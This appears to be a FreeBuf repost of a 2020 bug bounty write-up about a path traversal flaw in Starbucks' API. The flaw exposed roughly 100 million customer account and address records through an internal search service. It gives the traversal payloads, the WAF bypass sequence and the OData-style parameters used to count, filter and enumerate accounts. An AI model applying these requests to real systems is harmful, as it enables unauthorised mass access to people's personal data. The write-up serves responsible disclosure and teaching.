freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

星巴克新漏洞:可访问1亿客户记录
2020-06-22 10:50:24

Sam花了一整天的尝试,仍然没有在Verizon Media漏洞赏金计划中有所收获,于是,他决定先退出做一些其他事情。他上网准备订购星巴克的礼品卡,作为朋友的生日礼物。

img-1533030119-20297.jpg

当sam在星巴克官网上试图购买时,他发现了API调用的可疑之处:在以“ / bff / proxy /”为前缀的API下发送了一些请求,但这些请求返回的数据似乎来自另一台主机。

正好,由于星巴克有一个漏洞赏金计划,于是,继续研究下去吧。

以下是返回sam的用户信息的其中之一的API调用示例:

POST /bff/proxy/orchestra/get-user HTTP/1.1

Host: app.starbucks.com

{

  "data": {

    "user": {

      "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",

      "firstName": "Sam",

      "lastName": "Curry",

      "email": "samwcurry@gmail.com",

      "partnerNumber": null,

      "birthDay": null,

      "birthMonth": null,

      "loyaltyProgram": null

    }

  }

}

在上面的示例中,“ app.starbucks.com”主机将无法访问通过特定端点访问的数据,但可以充当假设的第二个主机的代理或中间人,“internal.starbucks.com”。

这里要考虑的一些有趣的事情是……

我们如何测试应用程序的路由?

如果应用程序将请求路由到内部主机,则权限模型是什么样的?

我们可以控制发送到内部主机的请求中的路径或参数吗?

内部主机上是否有开放重定向,如果有,应用程序将遵循开放重定向吗?

返回的内容是否必须匹配适当的类型(是否解析JSON,XML或任何其他数据?)

Sam做的第一件事是尝试遍历API调用,以便可以加载其他路径,而执行此操作的方式是发送以下负载:

/bff/proxy/orchestra/get-user/..%2f

/bff/proxy/orchestra/get-user/..;/

/bff/proxy/orchestra/get-user/../

/bff/proxy/orchestra/get-user/..%00/

/bff/proxy/orchestra/get-user/..%0d/

/bff/proxy/orchestra/get-user/..%5c

/bff/proxy/orchestra/get-user/..\

/bff/proxy/orchestra/get-user/..%ff/

/bff/proxy/orchestra/get-user/%2e%2e%2f

/bff/proxy/orchestra/get-user/.%2e/

/bff/proxy/orchestra/get-user/%3f (?)

/bff/proxy/orchestra/get-user/%26 (&)

/bff/proxy/orchestra/get-user/%23 (#)

可惜的是,这些都不起作用。它们都返回了我通常会看到的相同的404页面……

在这种情况下,我们可以将“ / bff / proxy / orchestra / get-user”视为我们正在调用的未包含用户输入的函数。同时,我们有机会找到一个确实接受用户输入的函数,例如“ / bff / proxy / users /:id”,在这里我们有足够的空间测试它将接受的数据。如果我们发现这样的API调用,那么尝试遍历有效负载并发送其他数据(实际上是在用户输入中接收)可能会更有帮助。

Sam仔细留意这个App,发现了更多的API调用。而他发现的接受用户输入的第一个信息是:

GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1

Host: app.starbucks.com

这个端点不同于“get user”端点,因为最后一个路径作为参数存在,在其中提供了任意输入。如果将此输入作为内部系统上的路径处理,那么完全可能遍历它并访问其他内部端点。

幸运的是,sam尝试的第一个测试返回了一个非常好的指标,表明可以遍历端点:

GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1

Host: app.starbucks.com

{

  "errors": [

    {

      "message": "Not Found",

      "errorCode": 404,

      ...

这个JSON响应与“ / bff / proxy”下所有其他常规API调用的JSON响应相同。这表明sam正在使用内部系统,并且已经成功地修改了正在与之交谈的路径。下一步将是映射内部系统,而做到这一点的最佳方法将是通过标识返回“ 400错误请求”的第一条路径遍历到根。

但很快,sam遇到了一个障碍。有一个WAF让他不能深入两个目录:

GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1

Host: app.starbucks.com

HTTP/1.1 403 Forbidden

不过,这个WAF很弱……

GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1

Host: app.starbucks.com

{

  "errors": [

    {

      "message": "Not Found",

      "errorCode": 404,

      ...

最终,在返回7条路径后,sam收到了以下错误:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1

Host: app.starbucks.com

{

  "errors": [

    {

      "message": "Bad Request",

      "errorCode": 400,

      ...

这意味着内部API的根是6个返回路径,可以使用目录暴力破解工具或Burp Suite的入侵者和单词列表将其映射出来。

此时,sam对这个漏洞更加感兴趣了,他和Justin Gardner进行了探讨。

而Justin Gardner几乎立即在内部系统的根目录下识别出许多路径,方法是观察到对这些路径的HTTP请求,之后如果没有正斜杠,就会使用Burp的入侵者返回重定向代码:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search

Host: app.starbucks.com

HTTP/1.1 301 Moved Permanently

Server: nginx

Content-Type: text/html

Content-Length: 162

Location: /search/

Justin致力于寻找所有端点时,sam开始逐一研究每个目录。运行完自己的扫描后,sam发现“搜索”下有“v1”,而“v1”下有“账户”和“地址”。

于是,他给Justin发了一条消息,想想如果“ / search / v1 / accounts”端点是对所有生产帐户的搜索,那将是多么有趣……

而事实,果然如此。“ / search / v1 / accounts”可以访问所有星巴克帐户的Microsoft Graph实例。

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1

Host: app.starbucks.com

{

  "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

  "value": [

    {

      "Id": 1,

      "ExternalId": "12345",

      "UserName": "UserName",

      "FirstName": "FirstName",

      "LastName": "LastName",

      "EmailAddress": "0640DE@example.com",

      "Submarket": "US",

      "PartnerNumber": null,

      "RegistrationDate": "1900-01-01T00:00:00Z",

      "RegistrationSource": "iOSApp",

      "LastUpdated": "2017-06-01T15:32:56.4925207Z"

    },

...

lots of production accounts

此外,“地址”端点返回了类似的信息……

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1

Host: app.starbucks.com

{

  "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",

  "value": [

    {

      "Id": 1,

      "AccountId": 1,

      "AddressType": "3",

      "AddressLine1": null,

      "AddressLine2": null,

      "AddressLine3": null,

      "City": null,

      "PostalCode": null,

      "Country": null,

      "CountrySubdivision": null,

      "FirstName": null,

      "LastName": null,

      "PhoneNumber": null

    },

...

lots of production addresses

它是为生产帐户和地址提供的服务。随后,sam开始进一步探索该服务,以使用Microsoft Graph功能进行确认。

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true

Host: app.starbucks.com

{

  "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

  "@odata.count":99356059

}

通过从Microsoft Graph URL添加“ $ count”参数,可以确定该服务具有近1亿条记录。攻击者可以通过添加“ $ skip”和“ $ count”之类的参数枚举所有用户帐户来窃取此数据。

此外,要查明特定的用户帐户,攻击者可以使用“ $ filter”参数:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1

Host: app.starbucks.com

{

  "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

  "value": [

    {

      "Id": 81763022,

      "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",

      "UserName": "redacted@gmail.com",

      "FirstName": "Justin",

      "LastName": "Gardner",

      "EmailAddress": "redacted@gmail.com",

      "Submarket": "US",

      "PartnerNumber": null,

      "RegistrationDate": "2018-05-19T18:52:15.0763564Z",

      "RegistrationSource": "Android",

      "LastUpdated": "2020-05-16T23:28:39.3426069Z"

    }

  ]

}

最后,sam还发现的其他一些端点,可能(尚未确认)使攻击者能够访问和修改帐单地址、礼品卡、奖励和优惠等内容。

barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver

时间线

5月16日报道

5月17日补丁

5月19日颁发赏金(4000美元)

6月16日公开

参考链接

https://samcurry.net/hacking-starbucks/

*本文作者:kirazhou,转载请注明来自FreeBuf.COM

# 漏洞 # 星巴克
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者